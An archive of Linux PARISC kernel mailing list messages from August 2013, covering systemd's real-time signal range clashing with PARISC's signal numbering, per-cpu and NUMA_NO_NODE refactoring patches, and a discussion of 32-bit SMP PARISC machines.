References: <20130813154958.7514d525@marga.jer-c2.orkz.net> <520AA546.2070503@gmx.de> <20130814005400.3766f068@marga.jer-c2.orkz.net> <20130826014657.05f4c466@marga.jer-c2.orkz.net> <521BC84B.4090602@gmx.de> <BLU0-SMTP101B187CC9D02E87059A7C297490@phx.gbl> <20130827164601.4accbbfb@marga.jer-c2.orkz.net> <521CC531.6020106@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377618748 9933 80.91.229.3 (27 Aug 2013 15:52:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Aug 2013 15:52:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 27 17:52:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VELZE-0002xd-KM
	for glpp-linux-parisc@plane.gmane.org; Tue, 27 Aug 2013 17:52:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753472Ab3H0Pw1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Aug 2013 11:52:27 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:45300 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753256Ab3H0Pw1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Aug 2013 11:52:27 -0400
X-Greylist: delayed 1575 seconds by postgrey-1.27 at vger.kernel.org; Tue, 27 Aug 2013 11:52:27 EDT
Original-Received: from 209-197-170-11.cpe.distributel.net ([209.197.170.11] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1VELZC-0000qb-0l; Tue, 27 Aug 2013 11:52:26 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <521CC531.6020106@bell.net>
X-Authenticated: danglin-lux@magma.ca - 209-197-170-11.cpe.distributel.net ([192.168.0.181]) [209.197.170.11]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5279
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5279>

On 8/27/2013 11:26 AM, John David Anglin wrote:
> Can we change _NSIG to 69 so there are 32 RT signals as on other arches?
It looks like it needs to be a power of 2.  MIPS uses 128.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: systemd real-time signals choices clash with Linux/PARISC available
 SIGRT range, WAS: fanotify_mark()
Date: Tue, 27 Aug 2013 11:26:41 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <521CC531.6020106@bell.net>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net> <520AA546.2070503@gmx.de> <20130814005400.3766f068@marga.jer-c2.orkz.net> <20130826014657.05f4c466@marga.jer-c2.orkz.net> <521BC84B.4090602@gmx.de> <BLU0-SMTP101B187CC9D02E87059A7C297490@phx.gbl> <20130827164601.4accbbfb@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377619610 19483 80.91.229.3 (27 Aug 2013 16:06:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 27 Aug 2013 16:06:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 27 18:06:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VELnA-0005f7-MU
	for glpp-linux-parisc@plane.gmane.org; Tue, 27 Aug 2013 18:06:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753331Ab3H0QGv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 27 Aug 2013 12:06:51 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:58945 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753313Ab3H0QGv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 27 Aug 2013 12:06:51 -0400
Original-Received: from 209-197-170-11.cpe.distributel.net ([209.197.170.11] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1VEL9n-0000ms-0t; Tue, 27 Aug 2013 11:26:11 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8
In-Reply-To: <20130827164601.4accbbfb@marga.jer-c2.orkz.net>
X-Authenticated: danglin-lux@magma.ca - 209-197-170-11.cpe.distributel.net ([192.168.0.181]) [209.197.170.11]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5280
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5280>

On 8/27/2013 10:46 AM, Jeroen Roovers wrote:
> On Mon, 26 Aug 2013 18:37:54 -0400
> John David Anglin <dave.anglin@bell.net> wrote:
>
>> On 26-Aug-13, at 5:27 PM, Helge Deller wrote:
>>>> [1] Sneak preview: https://bugs.gentoo.org/show_bug.cgi?id=482214
>>> Did you already filed this signal-problem upstream as suggested in
>>> comment #3 (https://bugs.gentoo.org/show_bug.cgi?id=482214#c3)?
> Well, there are two ways to resolve this problem, and seeing who is
> developing systemd and seeing the generous way the "available" signal
> range is used, I'm pretty doubtful about changes there.
>
> As I said in comment #2, that range could be compacted (a lot) and then
> fit easily on any future platform. Since it was a design choice even
> reflected in man pages[1] ("[...], SIGRTMIN+29   Sets the log level to
> [...]"), I'm very afraid they will not change it easily.
>
>> I believe two of the signal numbers come from HP-UX.
> #define SIGXCPU         33
> #define SIGXFSZ         34
The signal numbers for these two signals come from HP-UX but the signals 
are used
by Linux, so I can't see how they can change.
> #define SIGSTKFLT       36
>
> According to [2], SIGSTKFLT isn't used.
This signal isn't used by HP-UX but it is used by Linux, so again this 
can't change.

Can we change _NSIG to 69 so there are 32 RT signals as on other arches?

>
> Do we still support HP-UX? I have never seen a binary for it I could
> try with, but then maybe I never went looking for one, either. :)
Doesn't really matter...
>
>
>       jer
>
>
> [1] http://www.freedesktop.org/software/systemd/man/systemd.html
> [2]
> http://h21007.www2.hp.com/portal/download/files/unprot/STK/Linux_STK/impacts/i60.html
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>
>


-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [gcv v3 33/35] parisc: Replace __get_cpu_var uses
Date: Wed, 28 Aug 2013 20:06:37 +0000
Lines: 125
Approved: news@gmane.org
Message-ID: <00000140c688e9a9-deb83537-5b88-46a3-a175-ad9eb68df121-000000@email.amazonses.com>
References: <20130828193457.140443630@linux.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1377720977 32560 80.91.229.3 (28 Aug 2013 20:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 28 Aug 2013 20:16:17 +0000 (UTC)
Cc: akpm@linuxfoundation.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 28 22:16:19 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VEmA6-0006JY-EN
	for glk-linux-kernel-3@plane.gmane.org; Wed, 28 Aug 2013 22:16:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755467Ab3H1UQN (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 28 Aug 2013 16:16:13 -0400
Original-Received: from a193-30.smtp-out.amazonses.com ([199.255.193.30]:31940 "EHLO
	a193-30.smtp-out.amazonses.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754993Ab3H1UQK (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 28 Aug 2013 16:16:10 -0400
X-Greylist: delayed 572 seconds by postgrey-1.27 at vger.kernel.org; Wed, 28 Aug 2013 16:16:10 EDT
User-Agent: quilt/0.50-1
Original-Cc: linux-arch@vger.kernel.org
Original-Cc: Steven Rostedt <srostedt@redhat.com>
Original-Cc: linux-kernel@vger.kernel.org
X-SES-Outgoing: 199.255.193.30
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1552535 gmane.linux.ports.parisc:5282 gmane.linux.kernel.cross-arch:19291
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1552535>

__get_cpu_var() is used for multiple purposes in the kernel source. One of them is
address calculation via the form &__get_cpu_var(x). This calculates the address for
the instance of the percpu variable of the current processor based on an offset.

Other use cases are for storing and retrieving data from the current processors percpu area.
__get_cpu_var() can be used as an lvalue when writing data or on the right side of an assignment.

__get_cpu_var() is defined as :


#define __get_cpu_var(var) (*this_cpu_ptr(&(var)))



__get_cpu_var() always only does an address determination. However, store and retrieve operations
could use a segment prefix (or global register on other platforms) to avoid the address calculation.

this_cpu_write() and this_cpu_read() can directly take an offset into a percpu area and use
optimized assembly code to read and write per cpu variables.


This patch converts __get_cpu_var into either an explicit address calculation using this_cpu_ptr()
or into a use of this_cpu operations that use the offset. Thereby address calcualtions are avoided
and less registers are used when code is generated.

At the end of the patchset all uses of __get_cpu_var have been removed so the macro is removed too.

The patchset includes passes over all arches as well. Once these operations are used throughout then
specialized macros can be defined in non -x86 arches as well in order to optimize per cpu access by
f.e. using a global register that may be set to the per cpu base.




Transformations done to __get_cpu_var()


1. Determine the address of the percpu instance of the current processor.

	DEFINE_PER_CPU(int, y);
	int *x = &__get_cpu_var(y);

    Converts to

	int *x = this_cpu_ptr(&y);


2. Same as #1 but this time an array structure is involved.

	DEFINE_PER_CPU(int, y[20]);
	int *x = __get_cpu_var(y);

    Converts to

	int *x = this_cpu_ptr(y);


3. Retrieve the content of the current processors instance of a per cpu variable.

	DEFINE_PER_CPU(int, u);
	int x = __get_cpu_var(y)

   Converts to

	int x = __this_cpu_read(y);


4. Retrieve the content of a percpu struct

	DEFINE_PER_CPU(struct mystruct, y);
	struct mystruct x = __get_cpu_var(y);

   Converts to

	memcpy(this_cpu_ptr(&x), y, sizeof(x));


5. Assignment to a per cpu variable

	DEFINE_PER_CPU(int, y)
	__get_cpu_var(y) = x;

   Converts to

	this_cpu_write(y, x);


6. Increment/Decrement etc of a per cpu variable

	DEFINE_PER_CPU(int, y);
	__get_cpu_var(y)++

   Converts to

	this_cpu_inc(y)



Index: linux/arch/parisc/lib/memcpy.c
===================================================================
--- linux.orig/arch/parisc/lib/memcpy.c	2013-08-26 13:28:53.000000000 -0500
+++ linux/arch/parisc/lib/memcpy.c	2013-08-26 13:30:41.656224744 -0500
@@ -470,7 +470,7 @@ static unsigned long pa_memcpy(void *dst
 		return 0;
 
 	/* if a load or store fault occured we can get the faulty addr */
-	d = &__get_cpu_var(exception_data);
+	d = this_cpu_ptr(&exception_data);
 	fault_addr = d->fault_addr;
 
 	/* error in load or store? */
Index: linux/arch/parisc/mm/fault.c
===================================================================
--- linux.orig/arch/parisc/mm/fault.c	2013-08-26 13:28:53.000000000 -0500
+++ linux/arch/parisc/mm/fault.c	2013-08-26 13:30:41.656224744 -0500
@@ -145,7 +145,7 @@ int fixup_exception(struct pt_regs *regs
 	fix = search_exception_tables(regs->iaoq[0]);
 	if (fix) {
 		struct exception_data *d;
-		d = &__get_cpu_var(exception_data);
+		d = this_cpu_ptr(&exception_data);
 		d->fault_ip = regs->iaoq[0];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Does there exists any 32bit-only PARISC SMP machines?
Date: Thu, 29 Aug 2013 20:51:52 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <521F9848.4010404@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377802318 877 80.91.229.3 (29 Aug 2013 18:51:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Aug 2013 18:51:58 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 29 20:52:01 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VF7K1-0002HI-4C
	for glpp-linux-parisc@plane.gmane.org; Thu, 29 Aug 2013 20:51:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756752Ab3H2Svy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Aug 2013 14:51:54 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:61734 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756747Ab3H2Svy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Aug 2013 14:51:54 -0400
Original-Received: from [192.168.178.60] ([84.173.41.155]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MGRhs-1VJXBI37Tc-00DDGE for
 <linux-parisc@vger.kernel.org>; Thu, 29 Aug 2013 20:51:52 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8
X-Provags-ID: V03:K0:loarXPFPtYpCi4JD20mVulM5ueN6Or+3S4nT6E1J2BYt/Airk7U
 5GPFMBgypgSrOKRwSQxDc9GEI/JtM2uKBxRmNMkDW4YB+q87c5v3Vu+S9T7CF8QPO8VJGeU
 pNx0gT2U1hozr5QJmj5hl4Z78iNg29uEXH2DCp6pgcWKjqLqO95t0AP1SlxtPrvnCOkCfcx
 uxi2SOVQJUX0lnympLlEg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5283
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5283>

Hi all,

I was asked by the debian kernel team to drop on parisc the UP kernels and only provide SMP kernels even for UP-machines.

For 64bit it might make sense to only ship a 64bit SMP kernel, but I'm not sure if it makes sense for 32bit kernels.
One major question would be, if there exists any 32bit parisc machines which support multiple CPUs at all?
If not, then it would make sense to drop the 32bit SMP kernels instead.  

So, are there any 32bit SMP machines out there?
Any other thoughts on this topic?

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jianguo Wu <wujianguo@huawei.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: [PATCH 4/4] mm/arch: use NUMA_NODE
Date: Fri, 30 Aug 2013 10:06:51 +0800
Lines: 113
Approved: news@gmane.org
Message-ID: <521FFE3B.7040801@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377828477 9698 80.91.229.3 (30 Aug 2013 02:07:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Aug 2013 02:07:57 +0000 (UTC)
Cc: <linux-arm-kernel@lists.infradead.org>,
	<linux-kernel@vger.kernel.org>, <linux-mips@linux-mips.org>,
	<linux-parisc@vger.kernel.org>, <linux-s390@vger.kernel.org>,
	<sparclinux@vger.kernel.org>, <x86@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 30 04:07:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VFE7y-0008J9-Ni
	for glpp-linux-parisc@plane.gmane.org; Fri, 30 Aug 2013 04:07:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751944Ab3H3CH6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Aug 2013 22:07:58 -0400
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:25371 "EHLO
	szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751807Ab3H3CH5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Aug 2013 22:07:57 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml208-edg.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.4-GA FastPath queued)
	with ESMTP id BGV11043;
	Fri, 30 Aug 2013 10:07:00 +0800 (CST)
Original-Received: from SZXEML462-HUB.china.huawei.com (10.82.67.205) by
 szxeml208-edg.china.huawei.com (172.24.2.57) with Microsoft SMTP Server (TLS)
 id 14.1.323.7; Fri, 30 Aug 2013 10:06:53 +0800
Original-Received: from [127.0.0.1] (10.135.74.216) by szxeml462-hub.china.huawei.com
 (10.82.67.205) with Microsoft SMTP Server id 14.1.323.7; Fri, 30 Aug 2013
 10:06:56 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
X-Originating-IP: [10.135.74.216]
X-CFilter-Loop: Reflected
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5284 gmane.linux.ports.arm.kernel:264395 gmane.linux.kernel:1553387 gmane.linux.ports.mips.general:38841 gmane.linux.ports.sparc:18142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5284>

Use more appropriate NUMA_NO_NODE instead of -1 in some archs' module_alloc()

Signed-off-by: Jianguo Wu <wujianguo@huawei.com>
---
 arch/arm/kernel/module.c    |    2 +-
 arch/arm64/kernel/module.c  |    2 +-
 arch/mips/kernel/module.c   |    2 +-
 arch/parisc/kernel/module.c |    2 +-
 arch/s390/kernel/module.c   |    2 +-
 arch/sparc/kernel/module.c  |    2 +-
 arch/x86/kernel/module.c    |    2 +-
 7 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/arm/kernel/module.c b/arch/arm/kernel/module.c
index 85c3fb6..8f4cff3 100644
--- a/arch/arm/kernel/module.c
+++ b/arch/arm/kernel/module.c
@@ -40,7 +40,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
+				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/arm64/kernel/module.c b/arch/arm64/kernel/module.c
index ca0e3d5..8f898bd 100644
--- a/arch/arm64/kernel/module.c
+++ b/arch/arm64/kernel/module.c
@@ -29,7 +29,7 @@
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
+				    GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/mips/kernel/module.c b/arch/mips/kernel/module.c
index 977a623..b507e07 100644
--- a/arch/mips/kernel/module.c
+++ b/arch/mips/kernel/module.c
@@ -46,7 +46,7 @@ static DEFINE_SPINLOCK(dbe_lock);
 void *module_alloc(unsigned long size)
 {
 	return __vmalloc_node_range(size, 1, MODULE_START, MODULE_END,
-				GFP_KERNEL, PAGE_KERNEL, -1,
+				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 2a625fb..50dfafc 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -219,7 +219,7 @@ void *module_alloc(unsigned long size)
 	 * init_data correctly */
 	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
 				    GFP_KERNEL | __GFP_HIGHMEM,
-				    PAGE_KERNEL_RWX, -1,
+				    PAGE_KERNEL_RWX, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 
diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
index 7845e15..b89b591 100644
--- a/arch/s390/kernel/module.c
+++ b/arch/s390/kernel/module.c
@@ -50,7 +50,7 @@ void *module_alloc(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				    GFP_KERNEL, PAGE_KERNEL, -1,
+				    GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				    __builtin_return_address(0));
 }
 #endif
diff --git a/arch/sparc/kernel/module.c b/arch/sparc/kernel/module.c
index 4435488..97655e0 100644
--- a/arch/sparc/kernel/module.c
+++ b/arch/sparc/kernel/module.c
@@ -29,7 +29,7 @@ static void *module_map(unsigned long size)
 	if (PAGE_ALIGN(size) > MODULES_LEN)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
-				GFP_KERNEL, PAGE_KERNEL, -1,
+				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
 				__builtin_return_address(0));
 }
 #else
diff --git a/arch/x86/kernel/module.c b/arch/x86/kernel/module.c
index 216a4d7..18be189 100644
--- a/arch/x86/kernel/module.c
+++ b/arch/x86/kernel/module.c
@@ -49,7 +49,7 @@ void *module_alloc(unsigned long size)
 		return NULL;
 	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
 				GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
-				-1, __builtin_return_address(0));
+				NUMA_NO_NODE, __builtin_return_address(0));
 }
 
 #ifdef CONFIG_X86_32
-- 
1.7.1


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Fri, 30 Aug 2013 06:42:21 +0400
Lines: 32
Approved: news@gmane.org
Message-ID: <1377830541.2331.5.camel@dabdike>
References: <521F9848.4010404@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377830548 31576 80.91.229.3 (30 Aug 2013 02:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Aug 2013 02:42:28 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 30 04:42:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VFEfL-00049Q-Lq
	for glpp-linux-parisc@plane.gmane.org; Fri, 30 Aug 2013 04:42:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752359Ab3H3CmZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Aug 2013 22:42:25 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49458 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751962Ab3H3CmZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Aug 2013 22:42:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CE44F8EE0F1;
	Thu, 29 Aug 2013 19:42:24 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ncrf4Lw_fi7s; Thu, 29 Aug 2013 19:42:24 -0700 (PDT)
Original-Received: from [192.168.2.39] (unknown [194.186.187.194])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9ABFA8EE064;
	Thu, 29 Aug 2013 19:42:23 -0700 (PDT)
In-Reply-To: <521F9848.4010404@gmx.de>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5285>

On Thu, 2013-08-29 at 20:51 +0200, Helge Deller wrote:
> Hi all,
> 
> I was asked by the debian kernel team to drop on parisc the UP kernels
> and only provide SMP kernels even for UP-machines.

> For 64bit it might make sense to only ship a 64bit SMP kernel, but I'm
> not sure if it makes sense for 32bit kernels.
> One major question would be, if there exists any 32bit parisc machines
> which support multiple CPUs at all?
> If not, then it would make sense to drop the 32bit SMP kernels
> instead.  
> 
> So, are there any 32bit SMP machines out there?

Yes, the J class systems have some 32 bit only SMP boxes (well one, the
J210XC, I think) ... mostly with 7200 and above processors.

> Any other thoughts on this topic?

SMP will certainly work.  The main problem with SMP on UP is the
unnecessary spinlock cost.  I think given there's very few owners of J
class SMP 32 bit systems, 32 bit UP and 64 bit SMP is OK.

James


--
